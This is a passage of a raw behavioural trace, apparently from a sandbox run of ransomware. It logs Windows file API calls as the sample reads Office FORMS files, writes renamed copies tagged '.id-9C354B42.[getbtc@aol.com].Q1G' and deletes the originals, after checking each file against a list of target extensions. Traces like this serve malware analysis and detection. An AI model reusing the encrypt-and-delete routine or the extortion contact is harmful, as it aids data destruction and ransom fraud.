(hObject=0x3d8) returned 1 [0262.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg")) returned 1 [0262.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.870] lstrlenW (lpString=".doc") returned 4 [0262.870] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.870] lstrlenW (lpString=".docx") returned 5 [0262.870] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0262.870] lstrlenW (lpString=".pdf") returned 4 [0262.870] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.870] lstrlenW (lpString=".xls") returned 4 [0262.870] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.870] lstrlenW (lpString=".xlsx") returned 5 [0262.871] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0262.871] lstrlenW (lpString=".ppt") returned 4 [0262.871] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.871] lstrlenW (lpString=".zip") returned 4 [0262.871] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.871] lstrlenW (lpString=".rar") returned 4 [0262.871] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.871] lstrlenW (lpString=".bz2") returned 4 [0262.871] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.871] lstrlenW (lpString=".7z") returned 3 [0262.871] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.871] lstrlenW (lpString=".dbf") returned 4 [0262.871] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.871] lstrlenW (lpString=".1cd") returned 4 [0262.871] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.871] lstrlenW (lpString=".jpg") returned 4 [0262.871] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.871] lstrlenW (lpString=".doc") returned 4 [0262.871] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.871] lstrlenW (lpString=".docx") returned 5 [0262.871] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0262.871] lstrlenW (lpString=".pdf") returned 4 [0262.871] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.871] lstrlenW (lpString=".xls") returned 4 [0262.871] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.871] lstrlenW (lpString=".xlsx") returned 5 [0262.871] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0262.871] lstrlenW (lpString=".ppt") returned 4 [0262.871] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.872] lstrlenW (lpString=".zip") returned 4 [0262.872] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.872] lstrlenW (lpString=".rar") returned 4 [0262.872] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.872] lstrlenW (lpString=".bz2") returned 4 [0262.872] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.872] lstrlenW (lpString=".7z") returned 3 [0262.872] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.872] lstrlenW (lpString=".dbf") returned 4 [0262.872] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.872] lstrlenW (lpString=".1cd") returned 4 [0262.872] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned 61 [0262.872] lstrlenW (lpString=".jpg") returned 4 [0262.872] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.872] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.872] lstrlenW (lpString="REPLTMPL.CFG") returned 12 [0262.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.889] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=826) returned 1 [0262.889] CloseHandle (hObject=0x3dc) returned 1 [0262.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg")) returned 0x20 [0262.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.896] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.896] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.897] GetLastError () returned 0x0 [0262.897] ReadFile (in: hFile=0x3dc, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x33a, lpOverlapped=0x0) returned 1 [0262.909] WriteFile (in: hFile=0x3a8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x340, lpOverlapped=0x0) returned 1 [0262.910] ReadFile (in: hFile=0x3dc, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.910] WriteFile (in: hFile=0x3a8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.910] SetEndOfFile (hFile=0x3a8) returned 1 [0262.910] CloseHandle (hObject=0x3a8) returned 1 [0262.910] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.910] SetEndOfFile (hFile=0x3dc) returned 1 [0262.912] CloseHandle (hObject=0x3dc) returned 1 [0262.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg")) returned 1 [0262.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.956] lstrlenW (lpString=".doc") returned 4 [0262.956] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.956] lstrlenW (lpString=".docx") returned 5 [0262.956] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0262.956] lstrlenW (lpString=".pdf") returned 4 [0262.956] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.956] lstrlenW (lpString=".xls") returned 4 [0262.956] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.956] lstrlenW (lpString=".xlsx") returned 5 [0262.956] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0262.956] lstrlenW (lpString=".ppt") returned 4 [0262.956] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.956] lstrlenW (lpString=".zip") returned 4 [0262.956] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.956] lstrlenW (lpString=".rar") returned 4 [0262.956] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.956] lstrlenW (lpString=".bz2") returned 4 [0262.956] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.956] lstrlenW (lpString=".7z") returned 3 [0262.956] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.956] lstrlenW (lpString=".dbf") returned 4 [0262.956] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.956] lstrlenW (lpString=".1cd") returned 4 [0262.956] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.956] lstrlenW (lpString=".jpg") returned 4 [0262.956] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.957] lstrlenW (lpString=".doc") returned 4 [0262.957] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.957] lstrlenW (lpString=".docx") returned 5 [0262.957] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0262.957] lstrlenW (lpString=".pdf") returned 4 [0262.957] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.957] lstrlenW (lpString=".xls") returned 4 [0262.957] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.957] lstrlenW (lpString=".xlsx") returned 5 [0262.957] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0262.957] lstrlenW (lpString=".ppt") returned 4 [0262.957] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.957] lstrlenW (lpString=".zip") returned 4 [0262.957] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.957] lstrlenW (lpString=".rar") returned 4 [0262.957] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.957] lstrlenW (lpString=".bz2") returned 4 [0262.957] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.959] lstrlenW (lpString=".7z") returned 3 [0262.959] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.959] lstrlenW (lpString=".dbf") returned 4 [0262.959] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.959] lstrlenW (lpString=".1cd") returned 4 [0262.959] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0262.959] lstrlenW (lpString=".jpg") returned 4 [0262.959] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.959] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.959] lstrlenW (lpString="REPORTL.ICO") returned 11 [0262.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.960] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1078) returned 1 [0262.960] CloseHandle (hObject=0x3a0) returned 1 [0262.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico")) returned 0x20 [0262.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.961] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.961] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0263.167] GetLastError () returned 0x0 [0263.167] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x436, lpOverlapped=0x0) returned 1 [0263.169] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x440, lpOverlapped=0x0) returned 1 [0263.169] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.170] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.170] SetEndOfFile (hFile=0x37c) returned 1 [0263.170] CloseHandle (hObject=0x37c) returned 1 [0263.170] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.170] SetEndOfFile (hFile=0x3a0) returned 1 [0263.172] CloseHandle (hObject=0x3a0) returned 1 [0263.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico")) returned 1 [0263.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.173] lstrlenW (lpString=".doc") returned 4 [0263.173] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.173] lstrlenW (lpString=".docx") returned 5 [0263.173] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.173] lstrlenW (lpString=".pdf") returned 4 [0263.173] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.173] lstrlenW (lpString=".xls") returned 4 [0263.173] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.173] lstrlenW (lpString=".xlsx") returned 5 [0263.173] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.173] lstrlenW (lpString=".ppt") returned 4 [0263.173] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.173] lstrlenW (lpString=".zip") returned 4 [0263.173] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.173] lstrlenW (lpString=".rar") returned 4 [0263.173] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.173] lstrlenW (lpString=".bz2") returned 4 [0263.173] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.173] lstrlenW (lpString=".7z") returned 3 [0263.173] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.173] lstrlenW (lpString=".dbf") returned 4 [0263.173] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.174] lstrlenW (lpString=".1cd") returned 4 [0263.174] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.174] lstrlenW (lpString=".jpg") returned 4 [0263.174] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.174] lstrlenW (lpString=".doc") returned 4 [0263.174] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.174] lstrlenW (lpString=".docx") returned 5 [0263.174] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.174] lstrlenW (lpString=".pdf") returned 4 [0263.174] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.174] lstrlenW (lpString=".xls") returned 4 [0263.174] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.174] lstrlenW (lpString=".xlsx") returned 5 [0263.174] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.174] lstrlenW (lpString=".ppt") returned 4 [0263.174] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.174] lstrlenW (lpString=".zip") returned 4 [0263.174] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.174] lstrlenW (lpString=".rar") returned 4 [0263.174] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.174] lstrlenW (lpString=".bz2") returned 4 [0263.174] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.174] lstrlenW (lpString=".7z") returned 3 [0263.174] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.174] lstrlenW (lpString=".dbf") returned 4 [0263.174] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.174] lstrlenW (lpString=".1cd") returned 4 [0263.174] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0263.175] lstrlenW (lpString=".jpg") returned 4 [0263.175] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.175] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.175] lstrlenW (lpString="SCDREQL.ICO") returned 11 [0263.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.175] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1078) returned 1 [0263.175] CloseHandle (hObject=0x3a0) returned 1 [0263.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico")) returned 0x20 [0263.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.176] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.176] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0263.177] GetLastError () returned 0x0 [0263.177] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x436, lpOverlapped=0x0) returned 1 [0263.178] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x440, lpOverlapped=0x0) returned 1 [0263.179] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.179] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.179] SetEndOfFile (hFile=0x37c) returned 1 [0263.179] CloseHandle (hObject=0x37c) returned 1 [0263.179] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.179] SetEndOfFile (hFile=0x3a0) returned 1 [0263.181] CloseHandle (hObject=0x3a0) returned 1 [0263.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico")) returned 1 [0263.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.182] lstrlenW (lpString=".doc") returned 4 [0263.182] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.182] lstrlenW (lpString=".docx") returned 5 